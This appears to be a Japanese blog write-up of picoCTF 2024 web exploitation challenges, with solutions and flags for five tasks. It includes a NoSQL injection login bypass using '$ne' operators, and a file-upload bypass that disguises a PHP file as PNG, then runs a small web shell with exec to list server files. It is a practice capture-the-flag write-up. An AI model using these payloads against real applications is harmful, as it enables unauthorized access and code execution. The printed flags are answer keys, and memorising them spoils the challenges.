😽

picoCTF 2024 Writeup - Web Exploitation

2024/03/31に公開

Bookmarklet - 50 points

http://titan.picoctf.net:55173/

テキストエリアに以下のJavaScriptが入っているのでコピペしてコンソールなどから実行すれば良い

        javascript:(function() {
            var encryptedFlag = "àÒÆަȬë٣֖ÓÚåÛÑ¢ÕӗԚÅКٖí";
            var key = "picoctf";
            var decryptedFlag = "";
            for (var i = 0; i < encryptedFlag.length; i++) {
                decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
            }
            alert(decryptedFlag);
        })();

フラグは以下。

picoCTF{p@g3_turn3r_1d1ba7e0}

WebDecode - 50 points

http://titan.picoctf.net:57534/

ページ右上のABOUTをクリックしてabout.htmlに遷移する。HTMLソースをみるとsection要素のnortify_true属性に怪しげな文字列がある。

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9">

これをbase64でデーコードするとフラグを取得できる。

フラグは以下

picoCTF{web_succ3ssfully_d3c0ded_df0da727}

Unminify - 100 points

http://titan.picoctf.net:51196/

HTMLソースを見るとフラグが記載されている。

<p class="picoCTF{pr3tty_c0d3_622b2c88}"></p>

No Sql Injection - 200 points

http://atlas.picoctf.net:63191/

ソースコードが提供されるので中身を確認する。

util/database.tsを見るとmongooseというmongodbのライブラリを使っている。

import mongoose, { ConnectOptions } from "mongoose";

models/user.tsにUserのスキーマ情報があり、tokenにフラグが保存されているようだ。

const UserSchema: Schema = new Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false ,default: "{{Flag}}"},
});

app/api/login/route.rbを見るとemail/passwordの値は{}で囲まれているとJSONとしてparseして検索してくれるっぽい。

    const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });

タイトルからもNo SQL Injectionだろうということで、emailとpasswordを両方{"$ne":""}にしてログインすると/loginにPOSTしたレスポンスのjsonにtokenが含まれる。

  "token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzUzZDkwZTI4fQ=="

base64っぽいのでデコードするとフラグが取得できる

picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_53d90e28}

Trickster - 300 points

PNGファイルをアップロードするサービス。ソースコードはなし。

まずは、/robots.txtを見る

User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

/instructions.txtを見る。

Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

PNGかどうかをチェックするときに.png拡張子と中身にPNGが含まれるかでチェックしているようだ。

適当なファイル(a.png)をアップロードすると、fileパラメタにファイルの内容が渡されて/にPOSTしている。アップロードしたファイルはrobots.txtに書かれていた、/uploads/a.pngに保存され、直接アクセス可能である。

HTTPレスポンスヘッダを見るとサービスはPHP製。

X-Powered-By: PHP/8.0.30

PHPファイルをアップロードして実行できないかということで、以下のファイルをphpinfo.png.phpという名前でアップロードしてみる

PNG<?php phpinfo(); ?>

以下のコマンドでアップロード。

curl -F file=@phpinfo.png.php <インスタンスのURL>

/uploads/phpinfo.png.phpにアクセスするとphpinfoが表示されるので、PHPファイルをアップロードすることが可能。

フラグファイルが存在しないか、/を検索するようなPHPを作成する

PNG
<?php
$output = null;
exec('find ../ -type f', $output);
print_r($output);
?>

アップロードして確認すると。

PNG Array ( [0] => ../uploads/a.png [1] => ../uploads/phpinfo.png.php [2] => ../uploads/search.png.php [3] => ../GQ4DOOBVMMYGK.txt [4] => ../index.php [5] => ../instructions.txt [6] => ../robots.txt )

../GQ4DOOBVMMYGK.txtが怪しいので/GQ4DOOBVMMYGK.txtにアクセスするとフラグが表示される。

/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e} */

Discussion